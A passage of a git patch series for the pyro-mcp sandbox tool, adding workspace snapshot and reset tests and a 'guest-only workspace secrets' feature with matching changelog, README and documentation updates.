"checkpoint" + assert reset["command_count"] == 0 + assert reset["service_count"] == 0 + assert deleted_snapshot["deleted"] is True + assert logs["count"] == 0 assert deleted["deleted"] is True diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index 67b3bbd..146e6bd 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -545,10 +545,212 @@ def test_workspace_diff_requires_create_time_baseline(tmp_path: Path) -> None: baseline_path = tmp_path / "vms" / "workspaces" / workspace_id / "baseline" / "workspace.tar" baseline_path.unlink() - with pytest.raises(RuntimeError, match="requires a baseline snapshot"): + with pytest.raises(RuntimeError, match="require[s]? a baseline snapshot"): manager.diff_workspace(workspace_id) +def test_workspace_snapshots_and_reset_round_trip(tmp_path: Path) -> None: + seed_dir = tmp_path / "seed" + seed_dir.mkdir() + (seed_dir / "note.txt").write_text("seed\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + )["workspace_id"] + ) + + manager.exec_workspace( + workspace_id, + command="printf 'checkpoint\\n' > note.txt", + timeout_seconds=30, + ) + created_snapshot = manager.create_snapshot(workspace_id, "checkpoint") + assert created_snapshot["snapshot"]["snapshot_name"] == "checkpoint" + + listed = manager.list_snapshots(workspace_id) + assert listed["count"] == 2 + assert [snapshot["snapshot_name"] for snapshot in listed["snapshots"]] == [ + "baseline", + "checkpoint", + ] + + manager.exec_workspace( + workspace_id, + command="printf 'after\\n' > note.txt", + timeout_seconds=30, + ) + manager.start_service( + workspace_id, + "app", + command="sh -lc 'touch .ready; while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + ) + + reset_to_snapshot = manager.reset_workspace(workspace_id, snapshot="checkpoint") + assert reset_to_snapshot["workspace_reset"]["snapshot_name"] == "checkpoint" + assert reset_to_snapshot["reset_count"] == 1 + assert reset_to_snapshot["last_command"] is None + assert reset_to_snapshot["command_count"] == 0 + assert reset_to_snapshot["service_count"] == 0 + assert reset_to_snapshot["running_service_count"] == 0 + + checkpoint_result = manager.exec_workspace( + workspace_id, + command="cat note.txt", + timeout_seconds=30, + ) + assert checkpoint_result["stdout"] == "checkpoint\n" + logs_after_snapshot_reset = manager.logs_workspace(workspace_id) + assert logs_after_snapshot_reset["count"] == 1 + + reset_to_baseline = manager.reset_workspace(workspace_id) + assert reset_to_baseline["workspace_reset"]["snapshot_name"] == "baseline" + assert reset_to_baseline["reset_count"] == 2 + assert reset_to_baseline["command_count"] == 0 + assert reset_to_baseline["service_count"] == 0 + assert manager.logs_workspace(workspace_id)["count"] == 0 + + baseline_result = manager.exec_workspace( + workspace_id, + command="cat note.txt", + timeout_seconds=30, + ) + assert baseline_result["stdout"] == "seed\n" + diff_payload = manager.diff_workspace(workspace_id) + assert diff_payload["changed"] is False + + deleted_snapshot = manager.delete_snapshot(workspace_id, "checkpoint") + assert deleted_snapshot["deleted"] is True + listed_after_delete = manager.list_snapshots(workspace_id) + assert [snapshot["snapshot_name"] for snapshot in listed_after_delete["snapshots"]] == [ + "baseline" + ] + + +def test_workspace_snapshot_and_reset_require_baseline(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + baseline_path = tmp_path / "vms" / "workspaces" / workspace_id / "baseline" / "workspace.tar" + baseline_path.unlink() + + with pytest.raises(RuntimeError, match="require[s]? a baseline snapshot"): + manager.list_snapshots(workspace_id) + with pytest.raises(RuntimeError, match="require[s]? a baseline snapshot"): + manager.create_snapshot(workspace_id, "checkpoint") + with pytest.raises(RuntimeError, match="require[s]? a baseline snapshot"): + manager.delete_snapshot(workspace_id, "checkpoint") + with pytest.raises(RuntimeError, match="require[s]? a baseline snapshot"): + manager.reset_workspace(workspace_id) + + +def test_workspace_delete_baseline_snapshot_is_rejected(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + + with pytest.raises(ValueError, match="cannot delete the baseline snapshot"): + manager.delete_snapshot(workspace_id, "baseline") + + +def test_workspace_reset_recreates_stopped_workspace(tmp_path: Path) -> None: + seed_dir = tmp_path / "seed" + seed_dir.mkdir() + (seed_dir / "note.txt").write_text("seed\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + )["workspace_id"] + ) + + with manager._lock: # noqa: SLF001 + workspace = manager._load_workspace_locked(workspace_id) # noqa: SLF001 + workspace.state = "stopped" + workspace.firecracker_pid = None + manager._save_workspace_locked(workspace) # noqa: SLF001 + + reset_payload = manager.reset_workspace(workspace_id) + + assert reset_payload["state"] == "started" + assert reset_payload["workspace_reset"]["snapshot_name"] == "baseline" + result = manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) + assert result["stdout"] == "seed\n" + + +def test_workspace_reset_failure_leaves_workspace_stopped(tmp_path: Path) -> None: + seed_dir = tmp_path / "seed" + seed_dir.mkdir() + (seed_dir / "note.txt").write_text("seed\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + )["workspace_id"] + ) + manager.create_snapshot(workspace_id, "checkpoint") + + def _failing_import_archive(*args: Any, **kwargs: Any) -> dict[str, Any]: + del args, kwargs + raise RuntimeError("boom") + + manager._backend.import_archive = _failing_import_archive # type: ignore[method-assign] # noqa: SLF001 + + with pytest.raises(RuntimeError, match="boom"): + manager.reset_workspace(workspace_id, snapshot="checkpoint") + + with manager._lock: # noqa: SLF001 + workspace = manager._load_workspace_locked(workspace_id) # noqa: SLF001 + assert workspace.state == "stopped" + assert workspace.firecracker_pid is None + assert workspace.reset_count == 0 + + listed = manager.list_snapshots(workspace_id) + assert [snapshot["snapshot_name"] for snapshot in listed["snapshots"]] == [ + "baseline", + "checkpoint", + ] + + def test_workspace_export_helpers_preserve_directory_symlinks(tmp_path: Path) -> None: workspace_dir = tmp_path / "workspace" workspace_dir.mkdir() diff --git a/uv.lock b/uv.lock index d7370c6..436eb8c 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "2.7.0" +version = "2.8.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From fc72fcd3a143f7dd5b3540f778c64a7a57b0cd3b Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Thu, 12 Mar 2026 15:43:34 -0300 Subject: [PATCH 21/49] Add guest-only workspace secrets Add explicit workspace secrets across the CLI, SDK, and MCP, with create-time secret definitions and per-call secret-to-env mapping for exec, shell open, and service start. Persist only safe secret metadata in workspace records, materialize secret files under /run/pyro-secrets, and redact secret values from exec output, shell reads, service logs, and surfaced errors. Fix the remaining real-guest shell gap by shipping bundled guest init alongside the guest agent and patching both into guest-backed workspace rootfs images before boot. The new init mounts devpts so PTY shells work on Firecracker guests, while reset continues to recreate the sandbox and re-materialize secrets from stored task-local secret material. Validation: uv lock; UV_CACHE_DIR=.uv-cache make check; UV_CACHE_DIR=.uv-cache make dist-check; and a real guest-backed Firecracker smoke covering workspace create with secrets, secret-backed exec, shell, service, reset, and delete. --- CHANGELOG.md | 11 + README.md | 40 +- docs/first-run.md | 22 +- docs/install.md | 16 +- docs/integrations.md | 10 +- docs/public-contract.md | 30 +- docs/roadmap/task-workspace-ga.md | 7 +- .../task-workspace-ga/2.9.0-secrets.md | 2 + examples/python_workspace.py | 30 +- pyproject.toml | 2 +- .../linux-x86_64/guest/pyro_guest_agent.py | 163 +++- .../linux-x86_64/scripts/pyro-init | 3 +- src/pyro_mcp/api.py | 23 +- src/pyro_mcp/cli.py | 110 ++- src/pyro_mcp/contract.py | 12 +- src/pyro_mcp/runtime.py | 26 +- .../linux-x86_64/guest/pyro-init | 57 ++ .../linux-x86_64/guest/pyro_guest_agent.py | 163 +++- .../runtime_bundle/linux-x86_64/manifest.json | 6 +- src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/vm_guest.py | 42 + src/pyro_mcp/vm_manager.py | 727 +++++++++++++++--- src/pyro_mcp/workspace_shells.py | 42 +- tests/test_api.py | 45 +- tests/test_cli.py | 240 +++++- tests/test_public_contract.py | 6 + tests/test_runtime.py | 43 ++ tests/test_server.py | 23 +- tests/test_vm_environments.py | 3 + tests/test_vm_guest.py | 42 +- tests/test_vm_manager.py | 211 ++++- uv.lock | 2 +- 32 files changed, 1980 insertions(+), 181 deletions(-) create mode 100644 src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro-init diff --git a/CHANGELOG.md b/CHANGELOG.md index e1ff83e..27fb84c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,17 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 2.9.0 + +- Added explicit workspace secrets across the CLI, Python SDK, and MCP server with + `pyro workspace create --secret/--secret-file`, `Pyro.create_workspace(..., secrets=...)`, and + the matching `workspace_create` MCP inputs. +- Added per-call secret-to-environment mapping for `workspace exec`, `workspace shell open`, and + `workspace service start`, with secret values redacted from command output, shell reads, service + logs, and persisted workspace logs. +- Kept secret-backed workspaces guest-only and fail-closed while re-materializing persisted secret + files outside `/workspace` across workspace creation and reset. + ## 2.8.0 - Added explicit named workspace snapshots across the CLI, Python SDK, and MCP server with diff --git a/README.md b/README.md index 518ed0f..11fb968 100644 --- a/README.md +++ b/README.md @@ -20,7 +20,7 @@ It exposes the same runtime in three public forms: - First run transcript: [docs/first-run.md](docs/first-run.md) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 2.8.0: [CHANGELOG.md#280](CHANGELOG.md#280) +- What's new in 2.9.0: [CHANGELOG.md#290](CHANGELOG.md#290) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -57,7 +57,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 2.8.0 +Catalog version: 2.9.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -78,6 +78,8 @@ After the quickstart works: - prove the full one-shot lifecycle with `uvx --from pyro-mcp pyro demo` - create a persistent workspace with `uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo` - update a live workspace from the host with `uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes` +- add literal or file-backed secrets with `uvx --from pyro-mcp pyro workspace create debian:12 --secret API_TOKEN=expected --secret-file PIP_TOKEN=./token.txt` +- map one persisted secret into one exec, shell, or service call with `--secret-env API_TOKEN` - diff the live workspace against its create-time baseline with `uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID` - capture a checkpoint with `uvx --from pyro-mcp pyro workspace snapshot create WORKSPACE_ID checkpoint` - reset a broken workspace with `uvx --from pyro-mcp pyro workspace reset WORKSPACE_ID --snapshot checkpoint` @@ -137,7 +139,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.8.0 +Catalog version: 2.9.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -213,18 +215,20 @@ longer-term interaction model. ```bash pyro workspace create debian:12 --seed-path ./repo +pyro workspace create debian:12 --seed-path ./repo --secret API_TOKEN=expected pyro workspace sync push WORKSPACE_ID ./changes --dest src pyro workspace exec WORKSPACE_ID -- cat src/note.txt +pyro workspace exec WORKSPACE_ID --secret-env API_TOKEN -- sh -lc 'test "$API_TOKEN" = "expected"' pyro workspace diff WORKSPACE_ID pyro workspace snapshot create WORKSPACE_ID checkpoint pyro workspace reset WORKSPACE_ID --snapshot checkpoint pyro workspace reset WORKSPACE_ID pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt -pyro workspace shell open WORKSPACE_ID +pyro workspace shell open WORKSPACE_ID --secret-env API_TOKEN pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' pyro workspace shell read WORKSPACE_ID SHELL_ID pyro workspace shell close WORKSPACE_ID SHELL_ID -pyro workspace service start WORKSPACE_ID web --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' +pyro workspace service start WORKSPACE_ID web --secret-env API_TOKEN --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' pyro workspace service start WORKSPACE_ID worker --ready-file .worker-ready -- sh -lc 'touch .worker-ready && while true; do sleep 60; done' pyro workspace service list WORKSPACE_ID pyro workspace service status WORKSPACE_ID web @@ -239,7 +243,7 @@ Persistent workspaces start in `/workspace` and keep command history until you d machine consumption, add `--json` and read the returned `workspace_id`. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `2.8.0`; if it fails +later host-side changes into a started workspace. Sync is non-atomic in `2.9.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use @@ -251,6 +255,10 @@ persistent PTY session that keeps interactive shell state between calls. Use Typed readiness checks prefer `--ready-file`, `--ready-tcp`, or `--ready-http`; keep `--ready-command` as the escape hatch. Service metadata and logs live outside `/workspace`, so the internal service state does not appear in `pyro workspace diff` or `pyro workspace export`. +Use `--secret` and `--secret-file` at workspace creation when the sandbox needs private tokens or +config. Persisted secrets are materialized inside the guest at `/run/pyro-secrets/`, and +`--secret-env SECRET_NAME[=ENV_VAR]` maps one secret into one exec, shell, or service call without +exposing the raw value in workspace status, logs, diffs, or exports. ## Public Interfaces @@ -422,9 +430,25 @@ Advanced lifecycle tools: Persistent workspace tools: -- `workspace_create(environment, vcpu_count=1, mem_mib=1024, ttl_seconds=600, network=false, allow_host_compat=false, seed_path=null)` +- `workspace_create(environment, vcpu_count=1, mem_mib=1024, ttl_seconds=600, network=false, allow_host_compat=false, seed_path=null, secrets=null)` - `workspace_sync_push(workspace_id, source_path, dest="/workspace")` -- `workspace_exec(workspace_id, command, timeout_seconds=30)` +- `workspace_exec(workspace_id, command, timeout_seconds=30, secret_env=null)` +- `workspace_export(workspace_id, path, output_path)` +- `workspace_diff(workspace_id)` +- `snapshot_create(workspace_id, snapshot_name)` +- `snapshot_list(workspace_id)` +- `snapshot_delete(workspace_id, snapshot_name)` +- `workspace_reset(workspace_id, snapshot="baseline")` +- `service_start(workspace_id, service_name, command, cwd="/workspace", readiness=null, ready_timeout_seconds=30, ready_interval_ms=500, secret_env=null)` +- `service_list(workspace_id)` +- `service_status(workspace_id, service_name)` +- `service_logs(workspace_id, service_name, tail_lines=200)` +- `service_stop(workspace_id, service_name)` +- `shell_open(workspace_id, cwd="/workspace", cols=120, rows=30, secret_env=null)` +- `shell_read(workspace_id, shell_id, cursor=0, max_chars=65536)` +- `shell_write(workspace_id, shell_id, input, append_newline=true)` +- `shell_signal(workspace_id, shell_id, signal_name="INT")` +- `shell_close(workspace_id, shell_id)` - `workspace_status(workspace_id)` - `workspace_logs(workspace_id)` - `workspace_delete(workspace_id)` diff --git a/docs/first-run.md b/docs/first-run.md index 0eb14da..437b291 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 2.8.0 +Catalog version: 2.9.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -72,12 +72,14 @@ deterministic structured result. $ uvx --from pyro-mcp pyro demo $ uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo $ uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes +$ uvx --from pyro-mcp pyro workspace create debian:12 --secret API_TOKEN=expected --secret-file PIP_TOKEN=./token.txt +$ uvx --from pyro-mcp pyro workspace exec WORKSPACE_ID --secret-env API_TOKEN -- sh -lc 'test "$API_TOKEN" = "expected"' $ uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID $ uvx --from pyro-mcp pyro workspace snapshot create WORKSPACE_ID checkpoint $ uvx --from pyro-mcp pyro workspace reset WORKSPACE_ID --snapshot checkpoint $ uvx --from pyro-mcp pyro workspace export WORKSPACE_ID note.txt --output ./note.txt -$ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID -$ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done' +$ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID --secret-env API_TOKEN +$ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --secret-env API_TOKEN --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done' $ uvx --from pyro-mcp pyro mcp serve ``` @@ -103,6 +105,9 @@ $ uvx --from pyro-mcp pyro workspace exec WORKSPACE_ID -- cat src/note.txt hello from synced workspace [workspace-exec] workspace_id=... sequence=1 cwd=/workspace execution_mode=guest_vsock exit_code=0 duration_ms=... +$ uvx --from pyro-mcp pyro workspace exec WORKSPACE_ID --secret-env API_TOKEN -- sh -lc 'test "$API_TOKEN" = "expected"' +[workspace-exec] workspace_id=... sequence=2 cwd=/workspace execution_mode=guest_vsock exit_code=0 duration_ms=... + $ uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID [workspace-diff] workspace_id=... total=... added=... modified=... deleted=... type_changed=... text_patched=... non_text=... --- a/src/note.txt @@ -123,7 +128,7 @@ Reset count: 1 $ uvx --from pyro-mcp pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt [workspace-export] workspace_id=... workspace_path=/workspace/src/note.txt output_path=... artifact_type=file entry_count=... bytes_written=... execution_mode=guest_vsock -$ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID +$ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID --secret-env API_TOKEN [workspace-shell-open] workspace_id=... shell_id=... state=running cwd=/workspace cols=120 rows=30 execution_mode=guest_vsock $ uvx --from pyro-mcp pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' @@ -133,7 +138,7 @@ $ uvx --from pyro-mcp pyro workspace shell read WORKSPACE_ID SHELL_ID /workspace [workspace-shell-read] workspace_id=... shell_id=... state=running cursor=0 next_cursor=... truncated=False execution_mode=guest_vsock -$ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID web --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' +$ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID web --secret-env API_TOKEN --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' [workspace-service-start] workspace_id=... service=web state=running cwd=/workspace ready_type=file execution_mode=guest_vsock $ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID worker --ready-file .worker-ready -- sh -lc 'touch .worker-ready && while true; do sleep 60; done' @@ -170,7 +175,7 @@ $ uvx --from pyro-mcp pyro workspace service stop WORKSPACE_ID worker Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `2.8.0`; if it fails partway through, prefer `pyro workspace reset` +workspace. Sync is non-atomic in `2.9.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable create-time baseline, `pyro workspace snapshot *` to create named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the @@ -178,7 +183,10 @@ host. Use `pyro workspace exec` for one-shot commands and `pyro workspace shell need a persistent interactive PTY session in that same workspace. Use `pyro workspace service *` when the workspace needs long-running background processes with typed readiness checks. Internal service state and logs stay outside `/workspace`, so service runtime data does not appear in -workspace diff or export results. +workspace diff or export results. Use `--secret` and `--secret-file` at workspace creation when +the sandbox needs private tokens or config. Persisted secret files are materialized at +`/run/pyro-secrets/`, and `--secret-env SECRET_NAME[=ENV_VAR]` maps one secret into one +exec, shell, or service call without storing that environment mapping on the workspace itself. Example output: diff --git a/docs/install.md b/docs/install.md index 89d41b6..7c05827 100644 --- a/docs/install.md +++ b/docs/install.md @@ -83,7 +83,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.8.0 +Catalog version: 2.9.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -176,6 +176,7 @@ After the CLI path works, you can move on to: - persistent workspaces: `pyro workspace create debian:12 --seed-path ./repo` - live workspace updates: `pyro workspace sync push WORKSPACE_ID ./changes` +- workspace secrets: `pyro workspace create debian:12 --secret API_TOKEN=expected --secret-file PIP_TOKEN=./token.txt` - baseline diff: `pyro workspace diff WORKSPACE_ID` - snapshots and reset: `pyro workspace snapshot create WORKSPACE_ID checkpoint` and `pyro workspace reset WORKSPACE_ID --snapshot checkpoint` - host export: `pyro workspace export WORKSPACE_ID note.txt --output ./note.txt` @@ -191,18 +192,20 @@ Use `pyro workspace ...` when you need repeated commands in one sandbox instead ```bash pyro workspace create debian:12 --seed-path ./repo +pyro workspace create debian:12 --seed-path ./repo --secret API_TOKEN=expected pyro workspace sync push WORKSPACE_ID ./changes --dest src pyro workspace exec WORKSPACE_ID -- cat src/note.txt +pyro workspace exec WORKSPACE_ID --secret-env API_TOKEN -- sh -lc 'test "$API_TOKEN" = "expected"' pyro workspace diff WORKSPACE_ID pyro workspace snapshot create WORKSPACE_ID checkpoint pyro workspace reset WORKSPACE_ID --snapshot checkpoint pyro workspace reset WORKSPACE_ID pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt -pyro workspace shell open WORKSPACE_ID +pyro workspace shell open WORKSPACE_ID --secret-env API_TOKEN pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' pyro workspace shell read WORKSPACE_ID SHELL_ID pyro workspace shell close WORKSPACE_ID SHELL_ID -pyro workspace service start WORKSPACE_ID web --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' +pyro workspace service start WORKSPACE_ID web --secret-env API_TOKEN --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' pyro workspace service start WORKSPACE_ID worker --ready-file .worker-ready -- sh -lc 'touch .worker-ready && while true; do sleep 60; done' pyro workspace service list WORKSPACE_ID pyro workspace service status WORKSPACE_ID web @@ -217,7 +220,7 @@ Workspace commands default to the persistent `/workspace` directory inside the g the identifier programmatically, use `--json` and read the `workspace_id` field. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `2.8.0`; if it fails partway through, prefer `pyro workspace reset` to recover +is non-atomic in `2.9.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time baseline, `pyro workspace snapshot *` to capture named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the host. Use @@ -225,7 +228,10 @@ checkpoints, and `pyro workspace export` to copy one changed file or directory b interactive PTY that survives across separate calls. Use `pyro workspace service *` when the workspace needs long-running background processes with typed readiness probes. Service metadata and logs stay outside `/workspace`, so the service runtime itself does not show up in workspace diff or -export results. +export results. Use `--secret` and `--secret-file` at workspace creation when the sandbox needs +private tokens or config, and `--secret-env SECRET_NAME[=ENV_VAR]` when one exec, shell, or +service call needs that secret as an environment variable. Persisted secret files are available in +the guest at `/run/pyro-secrets/`. ## Contributor Clone diff --git a/docs/integrations.md b/docs/integrations.md index 9c0f5ac..c5744ef 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -31,9 +31,10 @@ Recommended surface: - `vm_run` - `workspace_create(seed_path=...)` + `workspace_sync_push` + `workspace_exec` when the agent needs persistent workspace state +- `workspace_create(..., secrets=...)` + `workspace_exec(..., secret_env=...)` when the workspace needs private tokens or authenticated setup - `workspace_diff` + `workspace_export` when the agent needs explicit baseline comparison or host-out file transfer - `start_service` / `list_services` / `status_service` / `logs_service` / `stop_service` when the agent needs long-running processes inside that workspace -- `open_shell` / `read_shell` / `write_shell` when the agent needs an interactive PTY inside that workspace +- `open_shell(..., secret_env=...)` / `read_shell` / `write_shell` when the agent needs an interactive PTY inside that workspace Canonical example: @@ -69,9 +70,10 @@ Recommended default: - `Pyro.run_in_vm(...)` - `Pyro.create_workspace(seed_path=...)` + `Pyro.push_workspace_sync(...)` + `Pyro.exec_workspace(...)` when repeated workspace commands are required +- `Pyro.create_workspace(..., secrets=...)` + `Pyro.exec_workspace(..., secret_env=...)` when the workspace needs private tokens or authenticated setup - `Pyro.diff_workspace(...)` + `Pyro.export_workspace(...)` when the agent needs baseline comparison or host-out file transfer -- `Pyro.start_service(...)` + `Pyro.list_services(...)` + `Pyro.logs_service(...)` when the agent needs long-running background processes in one workspace -- `Pyro.open_shell(...)` + `Pyro.write_shell(...)` + `Pyro.read_shell(...)` when the agent needs an interactive PTY inside the workspace +- `Pyro.start_service(..., secret_env=...)` + `Pyro.list_services(...)` + `Pyro.logs_service(...)` when the agent needs long-running background processes in one workspace +- `Pyro.open_shell(..., secret_env=...)` + `Pyro.write_shell(...)` + `Pyro.read_shell(...)` when the agent needs an interactive PTY inside the workspace Lifecycle note: @@ -82,6 +84,8 @@ Lifecycle note: `/workspace` that starts from host content - use `push_workspace_sync(...)` when later host-side changes need to be imported into that running workspace without recreating it +- use `create_workspace(..., secrets=...)` plus `secret_env` on exec, shell, or service start when + the agent needs private tokens or authenticated startup inside that workspace - use `diff_workspace(...)` when the agent needs a structured comparison against the immutable create-time baseline - use `export_workspace(...)` when the agent needs one file or directory copied back to the host diff --git a/docs/public-contract.md b/docs/public-contract.md index 4e06343..16a94d2 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -64,17 +64,22 @@ Behavioral guarantees: - `pyro demo ollama` prints log lines plus a final summary line. - `pyro workspace create` auto-starts a persistent workspace. - `pyro workspace create --seed-path PATH` seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. +- `pyro workspace create --secret NAME=VALUE` and `--secret-file NAME=PATH` persist guest-only UTF-8 secrets outside `/workspace`. - `pyro workspace sync push WORKSPACE_ID SOURCE_PATH [--dest WORKSPACE_PATH]` imports later host-side directory or archive content into a started workspace. - `pyro workspace export WORKSPACE_ID PATH --output HOST_PATH` exports one file or directory from `/workspace` back to the host. - `pyro workspace diff WORKSPACE_ID` compares the current `/workspace` tree to the immutable create-time baseline. - `pyro workspace snapshot *` manages explicit named snapshots in addition to the implicit `baseline`. - `pyro workspace reset WORKSPACE_ID [--snapshot SNAPSHOT_NAME|baseline]` recreates the full sandbox and restores `/workspace` from the chosen snapshot. - `pyro workspace service *` manages long-running named services inside one started workspace with typed readiness probes. +- `pyro workspace exec --secret-env SECRET_NAME[=ENV_VAR]` maps one persisted secret into one exec call. +- `pyro workspace service start --secret-env SECRET_NAME[=ENV_VAR]` maps one persisted secret into one service start call. - `pyro workspace exec` runs in the persistent `/workspace` for that workspace and does not auto-clean. +- `pyro workspace shell open --secret-env SECRET_NAME[=ENV_VAR]` maps one persisted secret into the opened shell environment. - `pyro workspace shell *` manages persistent PTY sessions inside a started workspace. - `pyro workspace logs` returns persisted command history for that workspace until `pyro workspace delete`. - Workspace create/status results expose `workspace_seed` metadata describing how `/workspace` was initialized. - Workspace create/status/reset results expose `reset_count` and `last_reset_at`. +- Workspace create/status/reset results expose safe `secrets` metadata with each secret name and source kind, but never the secret values. - `pyro workspace status` includes aggregate `service_count` and `running_service_count` fields. ## Python SDK Contract @@ -92,7 +97,7 @@ Supported public entrypoints: - `Pyro.inspect_environment(environment)` - `Pyro.prune_environments()` - `Pyro.create_vm(...)` -- `Pyro.create_workspace(...)` +- `Pyro.create_workspace(..., secrets=None)` - `Pyro.push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` - `Pyro.export_workspace(workspace_id, path, *, output_path)` - `Pyro.diff_workspace(workspace_id)` @@ -100,19 +105,19 @@ Supported public entrypoints: - `Pyro.list_snapshots(workspace_id)` - `Pyro.delete_snapshot(workspace_id, snapshot_name)` - `Pyro.reset_workspace(workspace_id, *, snapshot="baseline")` -- `Pyro.start_service(workspace_id, service_name, *, command, cwd="/workspace", readiness=None, ready_timeout_seconds=30, ready_interval_ms=500)` +- `Pyro.start_service(workspace_id, service_name, *, command, cwd="/workspace", readiness=None, ready_timeout_seconds=30, ready_interval_ms=500, secret_env=None)` - `Pyro.list_services(workspace_id)` - 